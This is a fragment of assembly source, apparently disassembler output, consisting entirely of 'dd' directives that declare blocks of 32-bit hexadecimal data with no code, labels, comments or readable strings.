		dd 0DC80D87Dh, 0EDEE059h, 1C3E0114h, 248B204Eh,	0A72CE427h
		dd 34C43001h, 3CE75D87h, 0EC6CEC74h, 0F478F074h, 0FC80F87Ch
		dd 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h
		dd 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h, 54690400h, 0D930D12Ch
		dd 38E13934h, 4E405C92h, 4C884830h, 8815ABA9h, 0AF902AADh
		dd 3F309849h, 91A422A0h, 49E0122Ah, 2E24E82Ch, 0F83093F0h
		dd 8C99F0F7h, 130F6010h, 612501D4h, 51347882h, 0F96890F3h
		dd 3090E488h, 0BA675274h, 0A4727E54h, 0AC76A874h, 0C05DB003h
		dd 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h, 3970FCh, 83A0431h
		dd 383C665Ch, 2E403D00h, 4C9F6844h, 4B500097h, 6EA7586Ch
		dd 7054E760h, 9CEC98A6h, 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h
		dd 54B2C8FCh, 0F405F07Eh, 82D7F8E5h, 93043D80h,	0CA30008h
		dd 20C310B3h, 500040D2h, 0B4C4A94h, 0EEA75496h,	60E5015Ch
		dd 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah
		dd 0D22C4862h, 0E0F82400h
		dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh,	214F1720h
		dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh
		dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh,	3974ECE6h
		dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h,	4873029Fh
		dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h
		dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh
		dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h,	20B88F01h
		dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h,	0A01E0E0Fh
		dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h
		dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h
		dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h
		dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h
		dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h
		dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h
		dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h,	4F274Ah
		dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh,	388B3B65h
		dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h,	0DCC7BCh
		dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h
		dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h,	613C7150h
		dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h
		dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h
		dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h
		dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh
		dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh
		dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h
		dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h
		dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h,	8272CF79h
		dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h
		dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh
		dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h
		dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h,	0FC288C24h
		dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h
		dd 0EC6D8E00h, 7BF073h,	0C0F880F4h, 0C85D9EBAh,	0D02EA000h
		dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h
		dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h,	0B8282EB6h
		dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h
		dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h
		dd 5761D0E9h, 0BA98DCh,	0D6A05CD4h, 0B8CBB0CFh,	0C8D89900h
		dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h
		dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh
		dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h
		dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh
		dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h,	8B38F9F2h
		dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah
		dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh,	5001A1BBh
		dd 97C9893Fh, 0C60434h,	0C32DAE1h, 88609020h, 300B0F00h
		dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h,	67A8A707h
		dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h
		dd 6A00E4F2h, 424C0B8h,	0E4937h, 3C233BBEh, 4102672Dh
		dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh
		dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h
		dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h
		dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h,	15D0770h
		dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h,	342B50E0h
		dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h
		dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh,	1E16C4E5h
		dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h,	7AFE50ADh
		dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh,	0E940427h
		dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh
		dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh
		dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h
		dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh,	0E14A492Eh
		dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh
		dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh,	43F100F0h
		dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h
		dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h
		dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h
		dd 8430170Bh, 38A0DE3Bh, 0E8FF3Dh, 1DF612F2h, 0FE27FAh
		dd 0F437B02Dh, 0B25AF849h, 734A6601h, 0E2922E09h, 0CA54B07Ah
		dd 3AD5F939h, 0FBFA00E7h, 28203581h, 48A8001Ch,	504F7AB2h
		dd 5801BA09h, 14642641h, 1D6424A6h, 3F6098ACh, 2C13B4C9h
		dd 3C2503BCh, 25903FCCh, 2A0014ECh, 0AEB00472h,	4A0C76h
		dd 18320F10h, 20CF1C8Fh, 284C9DE5h, 34C82C81h, 60C85C9Fh
		dd 0C2640093h, 0F0786CEEh, 5E75747Eh, 0E18088C0h, 72F988F6h
		dd 7690748Ch, 0D39C7894h, 0C8630080h, 0FCD0E864h, 0B892D400h
		dd 0E04DDC7Eh, 67983Ah,	1007EC2Dh, 0E4F8E7F4h, 42D3FC00h
		dd 0A22C9324h, 2E91C30h, 0F13CC038h, 6844F940h,	66011C4Eh
		dd 10542E50h, 5CA05344h, 0F498F090h, 1F52949Ch,	9FA89FA4h
		dd 92B085ACh, 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h
		dd 10010F1Bh, 83840B3Ah, 0DC42C29h, 3D604D1h, 803E873Ch
		dd 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh
		dd 3F0280F2h, 66013142h, 0C8986C00h, 37DEFB50h,	741A0172h
		dd 0D7C4A78h, 69B03084h, 0D62D8A0Fh, 0EBFB0007h, 5407849h
		dd 0F03C6E68h, 4BC68070h, 0E7B0212Dh, 0B745AB03h, 98D662D3h
		dd 2DEFE2E3h, 6F004EE8h, 0F8895961h, 587E3C5Ch,	7E5C59h
		dd 3D0283DDh, 0AB9322h,	0A73E19A0h, 27E8CAE4h, 33033FE2h
		dd 67521687h, 0A593A873h, 700827B5h, 0E000E674h, 0C77230F8h
		dd 68D4004Dh, 5731130Eh, 0C1016349h, 0B3E182A2h, 7F49038h
		dd 4E560032h, 331883D7h, 88739250h, 0B300667Ah,	8FD2300Fh
		dd 0FBCFE6h, 0EC2708C9h, 0E0224418h, 0B62C4BE4h, 9F005CAAh
		dd 836F9769h, 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh
		dd 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h, 74077202h, 6015760Dh
		dd 5217A74h, 2F7E297Ch,	0C0D11CCFh, 274BC945h, 0E7395DF6h
		dd 0F4720065h, 8AF8927Eh, 0AEF20049h, 0FCBAEA24h, 13F8BCC2h
		dd 1682DD01h, 49B8D8F8h, 583BDAD4h, 3D385225h, 0D64B2483h
		dd 0C05E639Fh, 0F79E90Fh, 8F874F7Fh, 0C09DCF8Fh, 49B592A7h
		dd 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h, 0D06CF3B0h, 12E38h
		dd 1E13E2A6h, 14FDC17h,	28823302h, 0F8508F38h, 39000A16h
		dd 0C46EC31Ch, 163A18B0h, 10E4D1h, 142E8615h, 7F0B96EEh
		dd 0D6BC83h, 0E4CF3D80h, 3E2D000Bh, 36740417h, 29029EB0h
		dd 3A533F39h, 35E0FF5Fh, 44001C7Eh, 0F9C0C30h, 398595DBh
		dd 8C80FF60h, 86B18284h, 44070292h, 0E15C1449h,	88F981AFh
		dd 1670092Ah, 4F221D50h
		dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h,	0E6195D6h
		dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h
		dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h
		dd 7BE0024h, 0FE4AC90h,	17FE13E8h, 0BA3E04B8h, 0D33E6782h
		dd 0E01CD722h, 9D2730h,	92AA1DA6h, 89BE5EA7h, 2F2B3E02h
		dd 60A414C0h, 1BD3A3Dh,	9425FF4h, 0EC51019Ch, 0A0006012h
		dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h,	0B100C90Dh
		dd 5F343CD0h, 0F40B40h,	0C832E1C0h, 765E41EAh, 257AC90Bh
		dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h
		dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h,	0C3B8B4CBh
		dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh
		dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h
		dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh,	87CC7B9Ch
		dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah
		dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah
		dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h
		dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h,	88BE84h
		dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah
		dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h
		dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h
		dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h
		dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h
		dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh
		dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h
		dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h
		dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h
		dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh
		dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h,	1F06267Ch
		dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h
		dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh
		dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h,	2469000Bh
		dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h
		dd 83A295D5h, 3F2F7A0h,	740068F0h, 783E9822h, 574946h
		dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh,	0ECEA01F6h
		dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h
		dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh
		dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h,	761350B6h
		dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h
		dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h
		dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh,	2FE140D9h
		dd 7F13BE9h, 6C0B2B44h,	7BC0BE58h, 0FCB778A0h, 79DC300h
		dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h
		dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h
		dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh
		dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h
		dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh
		dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h
		dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h
		dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h
		dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h
		dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh,	88CF815Ch
		dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah
		dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h,	58FC00F2h
		dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh
		dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h,	0C3E203AAh
		dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h
		dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch
		dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h
		dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h
		dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch
		dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h
		dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h
		dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh
		dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h
		dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh
		dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h
		dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh
		dd 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h, 3ADB9DD6h,	3E6AF880h
		dd 83747972h, 0BA934800h, 133F0AC2h, 5FE870h, 767C0F45h
		dd 0A68F854Fh, 3E3CF39h, 900EDCF5h, 70409801h, 4E0F018Eh
		dd 582D8921h, 0E0B4F5FAh, 760EC359h, 4E86F379h,	0F29F808Eh
		dd 4DECE9A4h, 0F13082B9h, 72310C89h, 20491600h,	3D323CBEh
		dd 347E23Eh, 6D27663Fh,	99F85EECh, 0AC3825C0h, 6005070Bh
		dd 0E6C593CEh, 2504180h, 0C314034Fh, 5DB3285Ah,	0B2D381A8h
		dd 0F2BBE309h, 5CD880E6h, 486E2D2Ah, 580570FAh,	0F0817C90h
		dd 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh, 0FA702C60h
		dd 765D06AEh, 27008D7Bh, 0D9F641C1h, 7938E9F9h,	4B037946h
		dd 7E5FCEEh, 853D7E58h,	2E0591B0h, 16A101ABh, 0FCCFCE20h
		dd 92F1C8DFh, 1101CC7Ah, 84321E36h, 0F840563Bh,	22824Ch
		dd 4F2A7063h, 8EF60F7Ch, 98CF39h, 0C2A8CBA1h, 3A94E124h
		dd 27AE38D3h, 1E200FC5h, 0B3329201h, 0F0C14768h, 0F1A0E288h
		dd 0C21F1200h, 0DF27C791h, 0E2F8F641h, 72380F07h, 83E04E15h
		dd 64C35CD8h, 0E26FD307h, 0C69049B2h, 924D7F9h,	859FEDD6h
		dd 5AFE9170h, 8056B03Ah, 0F8A6F490h, 9A94ABh, 0AAA0D813h
		dd 773A394Eh, 3E1E59F0h, 4C0EC49h, 40900C3Dh, 423000BCh
		dd 0ADA0997h, 1239E002h, 8E76B857h, 409F84ECh, 98A8BB2Eh
		dd 6B30FF3Fh, 9E100326h, 5B133C9Dh, 7C27D400h, 6CC7D461h
		dd 7405EE14h, 0F83B1F84h, 84629F96h, 80F99EBAh,	4E740C38h
		dd 9D9A2D38h, 6B805678h, 0CFA2E80Fh, 0EECB00E5h, 34030E41h
		dd 1CF81694h, 1700FDB8h, 4A384929h, 395D9699h, 890083F9h
		dd 0A1278A68h, 0B17BAC61h, 0D26CCB00h, 6436DE2Eh, 184E00FCh
		dd 78D82A49h, 3BF01EB8h, 8756C23Bh, 30546C62h, 0C0D375A2h
		dd 0EB53CAAh, 0E27E0E50h, 95DF140h, 430E2506h, 63AF3487h
		dd 14A4D9h, 3BA03AACh, 3DB43CA5h, 0DE2CC91Fh, 3EB18404h
		dd 58882A80h, 0FEDBFEDAh, 1E3F4DFh, 0A861E725h,	71F3F9EFh
		dd 6CFBD038h, 70EFA05h,	0FD000D3Fh, 37CF258Eh, 4F3D380Fh
		dd 1E558F9Eh, 0C96D8067h, 4EC05881h, 50839502h,	74C8F3BAh
		dd 80EB1D7Bh, 0B004F7FAh, 0E4000982h, 1B11C4F1h, 3C533Bh
		dd 3E5B3D57h, 4E63265Fh, 0C26B9200h, 50698074h,	0C4C2A09Ch
		dd 36AF4B8h, 0F6C97831h, 1000D9BDh, 2775760Bh, 64B5E0h
		dd 3ADCAC4Dh, 1C5A2472h, 351A8500h, 0BC9093A7h,	0DBC600A2h
		dd 37163896h, 76001D04h, 0C8C50C17h, 8DF40Fh, 6CE1918Bh
		dd 539DF999h, 0F2A5FC00h
		dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh
		dd 0C08CF872h, 8EC19Eh,	90093E82h, 4F92F08Ah, 7C42E6E5h
		dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h
		dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh,	3BFA005Fh
		dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch
		dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h
		dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h
		dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h,	80418BC9h
		dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h,	0AC394F2Eh
		dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh
		dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h
		dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh
		dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h
		dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h,	34AC5D5Eh
		dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h,	4A3074FEh
		dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h
		dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h
		dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h
		dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h
		dd 9EC669D7h, 95A7C00h,	0A966374Fh, 968500A0h, 6E50920Eh
		dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h
		dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h,	3DF28329h
		dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h
		dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh
		dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h
		dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h
		dd 4386C29h, 4C26453Bh,	500ABAEh, 0C811E088h, 39EA015Ch
		dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h
		dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h
		dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h
		dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h,	607A013Ch
		dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h
		dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h
		dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h
		dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h
		dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h,	2F92153Fh
		dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch,	0D136C926h
		dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh
		dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh
		dd 92626088h, 0AE8276h,	2C7C7E9Eh, 3249017Ah, 4D334200h
		dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h
		dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h
		dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h
		dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh
		dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh,	525E0040h
		dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh,	0CC4A74B0h
		dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch,	28682641h
		dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h
		dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h
		dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch
		dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h
		dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh
		dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h,	0E2E80030h
		dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh
		dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h
		dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h
		dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h
		dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h,	1EC001B3h
		dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h,	3824763Bh
		dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch,	279C122Ch
		dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h
		dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h
		dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h,	3263A66h
		dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh
		dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh
		dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h
		dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h
		dd 608E6163h, 0B7E2B0A5h, 98879703h, 93CEE7C4h,	0E4DAA0D5h
		dd 9CBC01E2h, 5804F32Dh, 2794DC09h, 8C07161Eh, 93FE8FC0h
		dd 0FE36323Fh, 7E8A3C70h, 3772007Fh, 8640A06Bh,	0A5E21CB4h
		dd 1DB89D00h, 15F09ECDh, 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h
		dd 0C03CC1E1h, 3E7C0C92h, 5602C11Dh, 0E4C36296h, 1B0BE0FFh
		dd 0BE273Fh, 0B64F46DCh, 7449176Ch, 7C5E04D8h, 0C8B3C05Bh
		dd 401C5070h, 1C014F0h,	0EE300BA3h, 3A7C32h, 0F916640Ch
		dd 2F34B8FDh, 0C6610500h, 0E177310Dh, 0E3B0086h, 29ED25E0h
		dd 560028CCh, 2E7353Fh,	741C53Dh, 0FC4992A0h, 0FD51204Dh
		dd 59008C20h, 611FFA94h, 76593h, 25923B98h, 9A08E002h
		dd 380A9C00h, 1FEC824Ah, 0F77A48DEh, 987C4B00h,	76165C26h
		dd 96308312h, 0ACFA4A00h, 12B0D4h, 0BC684FB4h, 7678C0CBh
		dd 75C85B3Bh, 50F08B00h, 87F84ACAh, 3F032772h, 0C200D4ECh
		dd 7E265814h, 48204A1Ch, 0F413F68Bh, 28EEE292h,	6000FAB7h
		dd 68E564E7h, 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h,	0B41A0F00h
		dd 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh
		dd 0EB250C9h, 40C61F0h,	0C32A08E0h, 14E6104Ch, 0E318D300h
		dd 0F020F21Ch, 285B0086h, 79FBD0C7h, 580E71D2h,	46FA5CF9h
		dd 8AE548h, 7CFC78A0h, 8416A29Ch, 8CE8F012h, 13EA5700h
		dd 0B682B4h, 0CCE058C0h, 88D860C9h, 2305E71Dh, 2D01BC9Fh
		dd 0C0C83166h, 0C93CCCh, 0F0686F40h, 4F2EFD64h,	81709E3Dh
		dd 7CECC174h, 84C880F9h, 2FE60078h, 9404418Ch, 65A2E7Ah
		dd 0E3C0F5C3h, 760CE2C4h, 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh
		dd 2C5FAA70h, 3C100905h, 94A87C78h, 0E15C8A00h,	74F96C12h
		dd 84222F00h, 44AE568Ch, 0AAAC01A4h, 0A661B425h, 588240C4h
		dd 0BF63064h, 0A4701A00h, 0B8E884D2h, 0B8C752Dh, 16FC9462h
